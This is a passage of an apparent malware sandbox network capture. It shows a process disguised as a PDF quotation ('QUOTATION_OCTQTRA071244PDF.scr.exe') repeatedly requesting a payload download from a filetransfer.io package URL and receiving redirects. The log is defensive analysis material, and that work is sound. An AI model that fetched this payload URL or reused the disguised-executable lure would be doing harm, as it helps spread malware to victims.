Oct 4, 2024 11:25:09.761271000 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fBBZc3UK2SVMpVN2uHF%2BbsoqMrzTmvmuhFsEl3f771SAOOKar9H9KkX38Zk2TRhXXvlYLQSA3IusCs2YGVG4nOiBZh6Ct8ApkSmNwXGE89j00Qn7fDp2Dl7DZuO0y%2FWJSz8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f7f1a9742c1-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:09.768882990 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:09.960529089 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FNz72zwAhItP6lH2oLDgGiauvlub%2BTTKtuNARNki%2BL5Rxe2GrJV%2BY1WiI4mPo%2BVW8tRttS9YdxngCZl73XHchpP7Hp1vMXpg86AQgwziSe1N3Nw5Zv5UiFazicLclENrMU8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f805b8742c1-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:09.963174105 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:10.152673006 CEST	654	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5eJfyHZSxLTVp0aFZMJLP7Fbt8xJd7bXiWnqA05hKwsSFJziRc0VP8y8c4LWtY5%2FVJYWdmBYwb4k9DajA7tp4nm1TRQN5jYUHyZeCRBZqhDMfkQ98S867rxwmm6nAKGuoOs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f818c8242c1-EWR
Oct 4, 2024 11:25:10.283094883 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50196	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:10.296202898 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:10.951817036 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FOCHxayw4eZLjhg7sKU7Kox2D%2BrFd%2BVYBxbe02iRXiYqYh67d2zbHgd%2Ft6HV5KLWL9bJXM4uHG%2BY9jvrs0FjHO%2BZP51PVoCS9UCogQqi3brXw3SZMSL8otfYPg4GbOCAyzo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f85efdb4273-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50198	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:10.963156939 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:11.615709066 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kGMCd6YzQzIie04pKO%2FbsoA56LtmSu1j3bqxtPI4Jt0Zrr9RFt6RRT45SC60U0rhIb3rbtl1b9%2BCqA0LK%2B9m4kstxdQbTgxO8tsOvJtNrTcVccurtQiCSL%2BVkRJMD08ILZw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f8a09355e7d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:11.622854948 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:11.814707994 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FbW1FnVrgKp5h4Zbk94l2DHGjLlftS5s3DYlWBrlABLOWFJB27NVL2oTJvneY0YDNd540JY3HpQ2noCjrZovWEPBXrjTovpQ1T%2FzgphwOz3DiPgsKjkcPm4wxHbNLvjnAPM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f8bea6f5e7d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:11.817372084 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:12.008589983 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U7rQNvTJ1S6ywXIcJ8Y2N4MErUVG2ilhjeVTz5V%2FiOKefdA23N6aNQQ%2BITK0i2dYNV5hhjlxf1%2F52cN%2BSucVNTl8LZFP2UjYYz399jnauYYm3bkOpJJup%2BYYfxSuDiSCsKU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f8d2b5e5e7d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:12.020509958 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:12.210741043 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zPDMImDIHUj4arX811N8%2BpT%2BZoi9RA63B3ijAHfrCj7BRs8UECOjPHeklpcW2I%2FJqMTxPRAywxp9MGrgTbZBhsZSrQHf0y%2BAbb0Yzn5jp1a%2FkuBMeo8eDQArYxt7k5CWn4M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f8e6c585e7d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:12.213190079 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:12.405565023 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OkXGWCRowMS0hlCMkO4%2BWPBIVeMr6ZPO8BR4n%2BnJA3%2FrsxAceIlkC0UJXysKJksMxzUqxMrHNhNF239VtzF3iNfhuHMUSXORJIjH%2BpKaii7wEvNsk98w7vf0DMbr0WYSxts%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f8f9d4f5e7d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:12.408633947 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:12.601599932 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TPBqbOEoVdjDGJllsrwQZYitXin7Ls59FsPa%2BggRDwl5UhhLVMczx2QpWLAivlpR3IVhi4Z6oYVeO2aLVf1YsXr4%2BCSuF8sdtzWTp7cCyClDKxDofuyun8v3bZtXHLPDvkM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f90de625e7d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:12.603667021 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:12.793113947 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bxZIgSR4VVA%2BSh4clAhnJ%2BbKpQjfd2yJ3INRIFUjRahr%2FOyFggYUCIks7ckTlmhfGkLr4iSz9wSeIVy61yqgZfoUBzanv1dpHHgQ2bcbKRYHs2eOnnKdcfjleGcOvjyI4lE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f920f435e7d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:12.795360088 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:12.985707045 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HrijQrAeY%2FJ8czYJdlz4QmMF91cSjw7fQM%2FkA7iqyIAaPht3QI20kiJq5nQLmtexf9123aIg%2FsnIaKPHTwDlb6s2u70DIpX9GTOY%2FMBAXR%2B2h2ODhYOYlzUXbDKyF2y0PXM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f9348065e7d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:12.989654064 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:13.178833008 CEST	656	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7ox1wh%2FkRR7a2PCAagMFphfivWImmrHXe1Zyf7BiMnnh7Wzu9j1Wj3VwMfjSmpjpK67T4WrGNajoxHr%2Bz9B2DIggJcS19DFOD2trcFPpt2fVzqvtgfepUOYRRpjVQsKBUtU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f9478ad5e7d-EWR
Oct 4, 2024 11:25:13.310240030 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50206	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:13.318124056 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:13.988833904 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HzFZ5GJQ55K6u6%2BDvc7QtOd20ylHSv2uJm51HouVxWodQH0AiOc9rElhgKBDkT6EV0mrO%2Bjy2JUdne2QvrEukpYrnt3ycYk5njJU0f0DakGWZKnHdA4%2FcXvDIEavXrP99U4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f98df2f7286-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:13.995059013 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:14.227480888 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8kgC%2BQPb3oIovG97wA5QTg0WhA7UAdY%2F8VP3OcWGooPRGA1VBwHmIFIqFH2Ghjouq92b1f%2FAllsW8DWEBd5aQp4dSpdcWZxz7xutsgs%2FWDe6tzg5rM1tJeU4%2F8Td8eIAFkk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f9ac8987286-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
